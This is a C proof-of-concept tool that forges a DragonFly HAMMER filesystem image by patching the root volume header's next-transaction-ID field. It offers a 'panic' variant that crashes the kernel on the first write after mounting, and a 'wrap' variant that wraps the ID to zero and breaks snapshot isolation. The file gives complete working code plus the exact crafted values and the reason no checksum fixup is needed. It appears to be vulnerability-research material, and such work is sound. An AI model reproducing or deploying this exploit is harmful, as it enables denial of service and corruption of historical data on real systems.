/*
 * tid_craft.c - DF-3095 PoC image forger.
 *
 * Root cause: hammer_vfs_mount() loads the root volume header's
 * vol0_next_tid into hmp->next_tid with no validation
 * (sys/vfs/hammer/hammer_vfsops.c:731).  hammer_alloc_tid()
 * (sys/vfs/hammer/hammer_transaction.c:162-181) computes
 *      tid = hmp->next_tid + 1;                     (master_id < 0)
 *      tid = (hmp->next_tid + 16) & ~15;            (master_id >= 0)
 * and panics with hpanic("Ran out of TIDs!") only when
 * tid >= 0xFFFFFFFFFF000000ULL *after* the increment.  Two crafted
 * values defeat the guard:
 *
 *   PANIC variant:  vol0_next_tid = 0xFFFFFFFFFF000000
 *                   -> tid = 0xFFFFFFFFFF000001 >= threshold -> hpanic
 *                      on the first write transaction after a RW mount.
 *
 *   WRAP variant:   vol0_next_tid = 0xFFFFFFFFFFFFFFFF
 *                   -> tid = 0 (uint64 wrap, 0 < threshold, no panic)
 *                      -> records/metadata get create_tid = 0, which
 *                         HAMMER's btree treats as "created at the
 *                         beginning of time": the record becomes visible
 *                         in EVERY historical snapshot (create_tid <=
 *                         asof for all asof), destroying snapshot
 *                         isolation on the filesystem.
 *
 * This tool patches vol0_next_tid in the root volume header (LBA 0) of
 * an existing newfs_hammer image.  No CRC fixup is needed: the kernel
 * never verifies vol_crc (DF-3042).
 *
 * Build (guest): cc -O -o tid_craft tid_craft.c -I/usr/src/sys/vfs/hammer
 * Usage: tid_craft <img> [panic|wrap]
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/param.h>
#include <stddef.h>
#include <hammer_disk.h>

#define OOF(x)	offsetof(struct hammer_volume_ondisk, x)

int
main(int ac, char **av)
{
	struct hammer_volume_ondisk hdr;
	hammer_tid_t nt;
	int fd;
	off_t off = OOF(vol0_next_tid);

	if (ac != 3 ||
	    (strcmp(av[2], "panic") && strcmp(av[2], "wrap"))) {
		fprintf(stderr, "usage: tid_craft <img> [panic|wrap]\n");
		return (2);
	}
	printf("vol0_next_tid @ header offset %llu (sizeof header %zu)\n",
	       (unsigned long long)off, sizeof(hdr));

	fd = open(av[1], O_RDWR);
	if (fd < 0) { perror("open"); return (1); }
	if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pread"); return (1);
	}
	if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) {
		fprintf(stderr, "not a hammer volume (sig %016jx)\n",
			(uintmax_t)hdr.vol_signature);
		return (1);
	}
	printf("vol0_next_tid BEFORE = %016jx  (btree_root %016jx)\n",
	       (uintmax_t)hdr.vol0_next_tid,
	       (uintmax_t)hdr.vol0_btree_root);

	if (strcmp(av[2], "panic") == 0)
		nt = 0xFFFFFFFFFF000000ULL;	/* next tid crosses threshold */
	else
		nt = 0xFFFFFFFFFFFFFFFFULL;	/* next tid wraps to 0 */

	hdr.vol0_next_tid = nt;
	if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pwrite"); return (1);
	}
	printf("vol0_next_tid AFTER  = %016jx (%s variant)\n",
	       (uintmax_t)nt, av[2]);
	return (0);
}
